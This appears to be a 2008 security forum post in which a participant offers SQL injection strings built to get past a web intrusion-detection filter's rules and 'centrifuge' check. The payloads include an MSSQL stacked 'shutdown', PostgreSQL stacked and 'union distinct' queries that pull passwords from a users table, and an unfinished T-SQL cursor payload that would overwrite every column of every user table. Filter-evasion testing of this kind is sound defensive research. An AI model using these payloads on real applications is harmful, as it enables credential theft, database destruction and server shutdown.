MSSQL:
asd'; shutdown;
PostgreSQL:
The "null" seems to irritate the filter rules. this works perfectly on postgreSQL, because postgreSQL returns the output of the last stacked query.
asd'; select null,password,null from users;
PostgreSQL also supports union distinct select, which in combination with a "(" is not in the filter rules.
asd' union distinct(select null,password,null from users)--a
I think there are a lot more vectors possible with postgreSQL, its pretty flexible. for mssql there are some transactSQL injections possible, like
aa aa'; DECLARE tablecursor CURSOR FOR select a.name as c,b.name as d,(null)from sysobjects a,syscolumns b where a.id=b.id and a.xtype = ( 'u' ) and current_user = current_user OPEN tablecursor
but since I found no way of declaring variables (declare @var varchar(32)) I cant build any cool vectors ;)
maybe someone else has some ideas, latest version with impact = 0:
aa aa'; DECLARE tablecursor CURSOR FOR select a.name as c,b.name as d,(null)from sysobjects a,syscolumns b
where a.id=b.id and a.xtype = ( 'u' ) and current_user = current_user
OPEN tablecursor FETCH NEXT FROM tablecursor INTO @a,@b WHILE(@a != null)
@query = null+null+null+null+ ' UPDATE '+null+@a+null+ ' SET id=null,@b = @payload'
BEGIN EXEC sp_executesql @query
FETCH NEXT FROM tablecursor INTO @a,@b END
CLOSE tablecursor DEALLOCATE tablecursor;
and some text, to get pass the centrifuge; and some more text.
whats missing is the correct concat of the @query with @b
@query = null+null+null+ ' UPDATE '+null+@a+ ' SET[ '+null+@b+ ' ] = @payload'
but then I cant get around the centrifuge anymore ;) and of course the declaration of the vars.
Edited 2 time(s). Last edit at 08/07/2008 12:48PM by Reiners.